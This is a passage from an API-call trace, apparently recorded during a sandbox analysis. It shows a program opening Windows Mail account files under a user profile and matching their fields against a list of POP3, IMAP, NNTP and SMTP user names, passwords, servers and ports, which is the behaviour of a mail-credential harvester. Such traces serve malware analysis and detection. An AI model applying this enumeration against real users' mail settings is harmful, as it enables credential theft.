	[0094.764] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Server") returned -1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Server") returned -1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_User_Name") returned -1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_User_Name") returned 1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_User_Name") returned -1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_User_Name") returned -1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Password2") returned -1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Password2") returned 1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Password2") returned -1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Password2") returned -1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Email_Address") returned -1
	[0094.765] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Email_Address") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Port") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Port") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Port") returned 1
	[0094.765] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Port") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Secure_Connection") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Secure_Connection") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Secure_Connection") returned 1
	[0094.765] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Secure_Connection") returned -1
	[0094.765] strlen (_Str="type") returned 0x4
	[0094.765] strlen (_Str="SZ") returned 0x2
	[0094.765] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="Account_Name") returned 1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="POP3_Server") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_Server") returned 1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Server") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Server") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="POP3_User_Name") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_User_Name") returned 1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_User_Name") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_User_Name") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="POP3_Password2") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_Password2") returned 1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Password2") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Password2") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Email_Address") returned -1
	[0094.765] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Email_Address") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Logo", _Str2="SMTP_Port") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Logo", _Str2="NNTP_Port") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Logo", _Str2="IMAP_Port") returned 1
	[0094.765] _strcmpi (_Str1="LDAP_Logo", _Str2="POP3_Port") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Logo", _Str2="SMTP_Secure_Connection") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Logo", _Str2="NNTP_Secure_Connection") returned -1
	[0094.765] _strcmpi (_Str1="LDAP_Logo", _Str2="IMAP_Secure_Connection") returned 1
	[0094.765] _strcmpi (_Str1="LDAP_Logo", _Str2="POP3_Secure_Connection") returned -1
	[0094.766] CloseHandle (hObject=0x104) returned 1
	[0094.766] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8) returned 1
	[0094.766] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.766] strlen (_Str="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 0x37
	[0094.766] _mbscpy (in: param_1=0x18efe8, param_2=0x18f12c | out: param_1=0x18efe8) returned 0x18efe8
	[0094.766] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.766] _mbscat (in: param_1=0x18efe8, param_2=0x413044 | out: param_1=0x18efe8) returned 0x18efe8
	[0094.766] _mbscat (in: param_1=0x18efe8, param_2=0x18eed4 | out: param_1=0x18efe8) returned 0x18efe8
	[0094.766] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x104
	[0094.766] GetFileSize (in: hFile=0x104, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2a0
	[0094.766] SetFilePointer (in: hFile=0x104, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2
	[0094.766] ReadFile (in: hFile=0x104, lpBuffer=0x52d900, nNumberOfBytesToRead=0x29e, lpNumberOfBytesRead=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x52d900*, lpNumberOfBytesRead=0x18ed24*=0x29e, lpOverlapped=0x0) returned 1
	[0094.767] wcslen (_String="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <Account_Name type=\"SZ\">Microsoft Communities</Account_Name>\r\n    <Last_Updated type=\"BINARY\">d1b457f62689cb01</Last_Updated>\r\n    <Connection_Type type=\"DWORD\">00000003</Connection_Type>\r\n    <NNTP_Server type=\"SZ\">msnews.microsoft.com</NNTP_Server>\r\n</MessageAccount>\r\n") returned 0x14f
	[0094.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <Account_Name type=\"SZ\">Microsoft Communities</Account_Name>\r\n    <Last_Updated type=\"BINARY\">d1b457f62689cb01</Last_Updated>\r\n    <Connection_Type type=\"DWORD\">00000003</Connection_Type>\r\n    <NNTP_Server type=\"SZ\">msnews.microsoft.com</NNTP_Server>\r\n</MessageAccount>\r\n", cchWideChar=-1, lpMultiByteStr=0x52dbb0, cbMultiByte=336, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <Account_Name type=\"SZ\">Microsoft Communities</Account_Name>\r\n    <Last_Updated type=\"BINARY\">d1b457f62689cb01</Last_Updated>\r\n    <Connection_Type type=\"DWORD\">00000003</Connection_Type>\r\n    <NNTP_Server type=\"SZ\">msnews.microsoft.com</NNTP_Server>\r\n</MessageAccount>\r\n", lpUsedDefaultChar=0x0) returned 336
	[0094.767] strlen (_Str="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <Account_Name type=\"SZ\">Microsoft Communities</Account_Name>\r\n    <Last_Updated type=\"BINARY\">d1b457f62689cb01</Last_Updated>\r\n    <Connection_Type type=\"DWORD\">00000003</Connection_Type>\r\n    <NNTP_Server type=\"SZ\">msnews.microsoft.com</NNTP_Server>\r\n</MessageAccount>\r\n") returned 0x14f
	[0094.767] strlen (_Str="version") returned 0x7
	[0094.767] strlen (_Str="1.0") returned 0x3
	[0094.767] strlen (_Str="encoding") returned 0x8
	[0094.767] strlen (_Str="utf-16") returned 0x6
	[0094.767] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.767] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.767] strlen (_Str="type") returned 0x4
	[0094.767] strlen (_Str="SZ") returned 0x2
	[0094.767] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.767] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0
	[0094.767] strlen (_Str="Microsoft Communities") returned 0x15
	[0094.767] strlen (_Str="Microsoft Communities") returned 0x15
	[0094.768] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1
	[0094.768] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1
	[0094.768] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1
	[0094.768] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1
	[0094.768] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1
	[0094.768] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1
	[0094.768] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1
	[0094.768] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1
	[0094.768] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1
	[0094.768] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1
	[0094.768] strlen (_Str="type") returned 0x4
	[0094.768] strlen (_Str="BINARY") returned 0x6
	[0094.768] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="Account_Name") returned 1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="POP3_Server") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="IMAP_Server") returned 1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="NNTP_Server") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="SMTP_Server") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="POP3_User_Name") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="IMAP_User_Name") returned 1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="NNTP_User_Name") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="SMTP_User_Name") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="POP3_Password2") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="IMAP_Password2") returned 1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="NNTP_Password2") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="SMTP_Password2") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="NNTP_Email_Address") returned -1
	[0094.768] strcmp (_Str1="Last_Updated", _Str2="SMTP_Email_Address") returned -1
	[0094.768] _strcmpi (_Str1="Last_Updated", _Str2="SMTP_Port") returned -1
	[0094.768] _strcmpi (_Str1="Last_Updated", _Str2="NNTP_Port") returned -1
	[0094.768] _strcmpi (_Str1="Last_Updated", _Str2="IMAP_Port") returned 1
	[0094.768] _strcmpi (_Str1="Last_Updated", _Str2="POP3_Port") returned -1
	[0094.768] _strcmpi (_Str1="Last_Updated", _Str2="SMTP_Secure_Connection") returned -1
	[0094.768] _strcmpi (_Str1="Last_Updated", _Str2="NNTP_Secure_Connection") returned -1
	[0094.768] _strcmpi (_Str1="Last_Updated", _Str2="IMAP_Secure_Connection") returned 1
	[0094.768] _strcmpi (_Str1="Last_Updated", _Str2="POP3_Secure_Connection") returned -1
	[0094.768] strlen (_Str="type") returned 0x4
	[0094.769] strlen (_Str="DWORD") returned 0x5
	[0094.769] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="Account_Name") returned 1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="POP3_Server") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="IMAP_Server") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="NNTP_Server") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="SMTP_Server") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="POP3_User_Name") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="IMAP_User_Name") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="NNTP_User_Name") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="SMTP_User_Name") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="POP3_Password2") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="IMAP_Password2") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="NNTP_Password2") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="SMTP_Password2") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="NNTP_Email_Address") returned -1
	[0094.769] strcmp (_Str1="Connection_Type", _Str2="SMTP_Email_Address") returned -1
	[0094.769] _strcmpi (_Str1="Connection_Type", _Str2="SMTP_Port") returned -1
	[0094.769] _strcmpi (_Str1="Connection_Type", _Str2="NNTP_Port") returned -1
	[0094.769] _strcmpi (_Str1="Connection_Type", _Str2="IMAP_Port") returned -1
	[0094.769] _strcmpi (_Str1="Connection_Type", _Str2="POP3_Port") returned -1
	[0094.769] _strcmpi (_Str1="Connection_Type", _Str2="SMTP_Secure_Connection") returned -1
	[0094.769] _strcmpi (_Str1="Connection_Type", _Str2="NNTP_Secure_Connection") returned -1
	[0094.769] _strcmpi (_Str1="Connection_Type", _Str2="IMAP_Secure_Connection") returned -1
	[0094.769] _strcmpi (_Str1="Connection_Type", _Str2="POP3_Secure_Connection") returned -1
	[0094.769] strlen (_Str="type") returned 0x4
	[0094.769] strlen (_Str="SZ") returned 0x2
	[0094.769] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="Account_Name") returned 1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="POP3_Server") returned -1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="IMAP_Server") returned 1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Server") returned 0
	[0094.769] strlen (_Str="msnews.microsoft.com") returned 0x14
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Server") returned -1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="POP3_User_Name") returned -1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="IMAP_User_Name") returned 1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="NNTP_User_Name") returned -1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="SMTP_User_Name") returned -1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="POP3_Password2") returned -1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="IMAP_Password2") returned 1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Password2") returned 1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Password2") returned -1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Email_Address") returned 1
	[0094.769] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Email_Address") returned -1
	[0094.769] _strcmpi (_Str1="NNTP_Server", _Str2="SMTP_Port") returned -1
	[0094.769] _strcmpi (_Str1="NNTP_Server", _Str2="NNTP_Port") returned 1
	[0094.769] _strcmpi (_Str1="NNTP_Server", _Str2="IMAP_Port") returned 1
	[0094.769] _strcmpi (_Str1="NNTP_Server", _Str2="POP3_Port") returned -1
	[0094.769] _strcmpi (_Str1="NNTP_Server", _Str2="SMTP_Secure_Connection") returned -1
	[0094.769] _strcmpi (_Str1="NNTP_Server", _Str2="NNTP_Secure_Connection") returned 1
	[0094.770] _strcmpi (_Str1="NNTP_Server", _Str2="IMAP_Secure_Connection") returned 1
	[0094.770] _strcmpi (_Str1="NNTP_Server", _Str2="POP3_Secure_Connection") returned -1
	[0094.770] CloseHandle (hObject=0x104) returned 1
	[0094.770] FindNextFileA (in: hFindFile=0x596a58, lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8) returned 1
	[0094.770] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.770] strlen (_Str="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 0x37
	[0094.770] _mbscpy (in: param_1=0x18efe8, param_2=0x18f12c | out: param_1=0x18efe8) returned 0x18efe8
	[0094.770] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36
	[0094.770] _mbscat (in: param_1=0x18efe8, param_2=0x413044 | out: param_1=0x18efe8) returned 0x18efe8
	[0094.770] _mbscat (in: param_1=0x18efe8, param_2=0x18eed4 | out: param_1=0x18efe8) returned 0x18efe8
	[0094.770] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x104
	[0094.770] GetFileSize (in: hFile=0x104, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6c8
	[0094.770] SetFilePointer (in: hFile=0x104, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2
	[0094.770] ReadFile (in: hFile=0x104, lpBuffer=0x52d900, nNumberOfBytesToRead=0x6c6, lpNumberOfBytesRead=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x52d900*, lpNumberOfBytesRead=0x18ed24*=0x6c6, lpOverlapped=0x0) returned 1
	[0094.771] wcslen (_String="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <LDAP_Server_ID type=\"DWORD\">00000000</LDAP_Server_ID>\r\n    <Account_Name type=\"SZ\">Active Directory</Account_Name>\r\n    <LDAP_Server type=\"SZ\">NULL</LDAP_Server>\r\n    <LDAP_Search_Return type=\"DWORD\">00000064</LDAP_Search_Return>\r\n    <LDAP_Timeout type=\"DWORD\">0000003c</LDAP_Timeout>\r\n    <LDAP_Authentication type=\"DWORD\">00000002</LDAP_Authentication>\r\n    <LDAP_Simple_Search type=\"DWORD\">00000000</LDAP_Simple_Search>\r\n    <LDAP_Bind_DN type=\"DWORD\">00000000</LDAP_Bind_DN>\r\n    <LDAP_Port type=\"DWORD\">00000cc4</LDAP_Port>\r\n    <LDAP_Resolve_Flag type=\"DWORD\">00000001</LDAP_Resolve_Flag>\r\n    <LDAP_Secure_Connection type=\"DWORD\">00000000</LDAP_Secure_Connection>\r\n    <LDAP_User_Name type=\"SZ\">NULL</LDAP_User_Name>\r\n    <LDAP_Search_Base type=\"SZ\">NULL</LDAP_Search_Base>\r\n</MessageAccount>\r\n") returned 0x363
	[0094.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <LDAP_Server_ID type=\"DWORD\">00000000</LDAP_Server_ID>\r\n    <Account_Name type=\"SZ\">Active Directory</Account_Name>\r\n    <LDAP_Server type=\"SZ\">NULL</LDAP_Server>\r\n    <LDAP_Search_Return type=\"DWORD\">00000064</LDAP_Search_Return>\r\n    <LDAP_Timeout type=\"DWORD\">0000003c</LDAP_Timeout>\r\n    <LDAP_Authentication type=\"DWORD\">00000002</LDAP_Authentication>\r\n    <LDAP_Simple_Search type=\"DWORD\">00000000</LDAP_Simple_Search>\r\n    <LDAP_Bind_DN type=\"DWORD\">00000000</LDAP_Bind_DN>\r\n    <LDAP_Port type=\"DWORD\">00000cc4</LDAP_Port>\r\n    <LDAP_Resolve_Flag type=\"DWORD\">00000001</LDAP_Resolve_Flag>\r\n    <LDAP_Secure_Connection type=\"DWORD\">00000000</LDAP_Secure_Connection>\r\n    <LDAP_User_Name type=\"SZ\">NULL</LDAP_User_Name>\r\n    <LDAP_Search_Base type=\"SZ\">NULL</LDAP_Search_Base>\r\n</MessageAccount>\r\n", cchWideChar=-1, lpMultiByteStr=0x428468, cbMultiByte=868, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <LDAP_Server_ID type=\"DWORD\">00000000</LDAP_Server_ID>\r\n    <Account_Name type=\"SZ\">Active Directory</Account_Name>\r\n    <LDAP_Server type=\"SZ\">NULL</LDAP_Server>\r\n    <LDAP_Search_Return type=\"DWORD\">00000064</LDAP_Search_Return>\r\n    <LDAP_Timeout type=\"DWORD\">0000003c</LDAP_Timeout>\r\n    <LDAP_Authentication type=\"DWORD\">00000002</LDAP_Authentication>\r\n    <LDAP_Simple_Search type=\"DWORD\">00000000</LDAP_Simple_Search>\r\n    <LDAP_Bind_DN type=\"DWORD\">00000000</LDAP_Bind_DN>\r\n    <LDAP_Port type=\"DWORD\">00000cc4</LDAP_Port>\r\n    <LDAP_Resolve_Flag type=\"DWORD\">00000001</LDAP_Resolve_Flag>\r\n    <LDAP_Secure_Connection type=\"DWORD\">00000000</LDAP_Secure_Connection>\r\n    <LDAP_User_Name type=\"SZ\">NULL</LDAP_User_Name>\r\n    <LDAP_Search_Base type=\"SZ\">NULL</LDAP_Search_Base>\r\n</MessageAccount>\r\n", lpUsedDefaultChar=0x0) returned 868
	[0094.771] strlen (_Str="<?xml version=\"1.0\" encoding=\"utf-16\" ?>\r\n<MessageAccount>\r\n    <LDAP_Server_ID type=\"DWORD\">00000000</LDAP_Server_ID>\r\n    <Account_Name type=\"SZ\">Active Directory</Account_Name>\r\n    <LDAP_Server type=\"SZ\">NULL</LDAP_Server>\r\n    <LDAP_Search_Return type=\"DWORD\">00000064</LDAP_Search_Return>\r\n    <LDAP_Timeout type=\"DWORD\">0000003c</LDAP_Timeout>\r\n    <LDAP_Authentication type=\"DWORD\">00000002</LDAP_Authentication>\r\n    <LDAP_Simple_Search type=\"DWORD\">00000000</LDAP_Simple_Search>\r\n    <LDAP_Bind_DN type=\"DWORD\">00000000</LDAP_Bind_DN>\r\n    <LDAP_Port type=\"DWORD\">00000cc4</LDAP_Port>\r\n    <LDAP_Resolve_Flag type=\"DWORD\">00000001</LDAP_Resolve_Flag>\r\n    <LDAP_Secure_Connection type=\"DWORD\">00000000</LDAP_Secure_Connection>\r\n    <LDAP_User_Name type=\"SZ\">NULL</LDAP_User_Name>\r\n    <LDAP_Search_Base type=\"SZ\">NULL</LDAP_Search_Base>\r\n</MessageAccount>\r\n") returned 0x363
	[0094.771] strlen (_Str="version") returned 0x7
	[0094.771] strlen (_Str="1.0") returned 0x3
	[0094.771] strlen (_Str="encoding") returned 0x8
	[0094.771] strlen (_Str="utf-16") returned 0x6
	[0094.771] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.771] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.771] strlen (_Str="type") returned 0x4
	[0094.771] strlen (_Str="DWORD") returned 0x5
	[0094.772] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="Account_Name") returned 1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Server") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Server") returned 1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Server") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Server") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_User_Name") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_User_Name") returned 1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_User_Name") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_User_Name") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Password2") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Password2") returned 1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Password2") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Password2") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Email_Address") returned -1
	[0094.772] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Email_Address") returned -1
	[0094.772] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Port") returned -1
	[0094.772] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Port") returned -1
	[0094.772] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Port") returned 1
	[0094.772] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Port") returned -1
	[0094.772] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Secure_Connection") returned -1
	[0094.772] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Secure_Connection") returned -1
	[0094.772] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Secure_Connection") returned 1
	[0094.772] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Secure_Connection") returned -1
	[0094.772] strlen (_Str="type") returned 0x4
	[0094.772] strlen (_Str="SZ") returned 0x2
	[0094.772] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8
	[0094.772] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0
	[0094.772] strlen (_Str="Active Directory") returned 0x10
	[0094.772] strlen (_Str="Active Directory") returned 0x10
	[0094.772] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1
	[0094.772] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1
	[0094.772] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1
	[0094.772] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1
	[0094.772] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1
	[0094.772] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1
